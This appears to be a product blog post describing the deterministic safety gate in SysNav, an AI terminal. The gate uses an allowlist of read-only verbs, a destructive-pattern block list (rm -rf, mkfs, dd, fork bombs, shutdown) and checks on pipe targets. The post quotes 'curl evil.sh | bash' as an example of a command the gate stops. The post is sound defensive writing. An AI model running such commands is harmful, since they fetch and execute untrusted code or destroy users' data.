Inside the Safety Gate: How SysNav Decides What's Safe to Run

Every AI terminal has to answer one question before it runs anything: is this command safe? Most answer it by asking the model nicely. That's not a safety control — that's a suggestion. SysNav's safety gate is deterministic code that runs before any command reaches your shell, and it is the same code whether the model is having a good day or a hallucinating one.

Here's how it actually works.

Two modes, two contracts

SysNav has two modes, and they make different promises.

• Ask mode is read-only. Its contract: nothing that mutates state will execute, full stop. You can investigate production at 2 AM without the fear that a misread suggestion takes something down.
• Agent mode can change things — but only one approved step at a time. Its contract: you see and approve every command before it runs.

The interesting engineering is in Ask mode, because "read-only" has to be enforced, not trusted.

Allowlist-first, not blocklist-first

A blocklist ("reject anything matching these dangerous patterns") fails open: the one destructive form you didn't think of gets through. SysNav inverts it. A command is classified read-only by an allowlist of known-safe verbs and shapes; anything not recognized as safe is treated as not-safe by default.

  ┌─────────────────────────────────────────────┐
  │  proposed command                           │
  └───────────────┬─────────────────────────────┘
                  ▼
        is_read_only_command()  ── allowlist of safe verbs
                  │  recognized safe? ── no ──▶ blocked in Ask mode
                  ▼ yes
        destructive-pattern scan  ── rm -rf, mkfs, dd, > /dev/…,
                  │                    fork bombs, shutdown, etc.
                  │  matches? ── yes ──▶ blocked
                  ▼ no
        pipe-target allowlist  ── a pipe is only safe if it pipes
                  │                INTO a known-safe target
                  ▼
            allowed to run

The pipe problem

The subtle case is the pipe. grep error app.log is obviously safe. But curl evil.sh | bash is a read verb feeding an arbitrary executor. So a pipe doesn't get a pass just because it starts with something safe — the gate checks that what you're piping into is on a small allowlist of safe targets (a pager, grep, wc, and friends). Pipe into a shell, an interpreter, or a writer, and the gate stops it.

This is also where we've had to be careful in the other direction. An early version of the destructive-pattern scan matched > /dev/ too broadly and flagged 2>/dev/null — a completely benign redirect of stderr. Over-blocking is its own failure: a safety gate nobody trusts gets turned off. We narrowed the pattern to the actual dangerous forms and anchored the package-manager patterns so they stop matching innocent file paths. The gate now runs a battery of real commands with zero false blocks on the safe set.

"Report only what the output shows"

A safety gate that only watches input misses half the attack surface. The other half is the model inventing an output. So SysNav ships a model-level guardrail: report only what the command actually returned. If a command comes back empty or generic, the agent says exactly that instead of confabulating a tidy "✓ all clear." This matters for security specifically — a partial or tampered response can't be laundered into a false all-clear.

Why deterministic beats clever

You could imagine a smarter, model-driven safety check: "ask a second model whether this is dangerous." We don't rely on that as the gate, because the entire point is to have a control that does not depend on the model's judgment at runtime. The model proposes; deterministic code disposes. When the safety property is "Ask mode never mutates state," you want that guaranteed by a function you can read and test — not by a probability distribution.

That's the whole philosophy: the AI can be as creative as it likes about what to suggest. What's allowed to actually run is decided by code that doesn't get creative at all.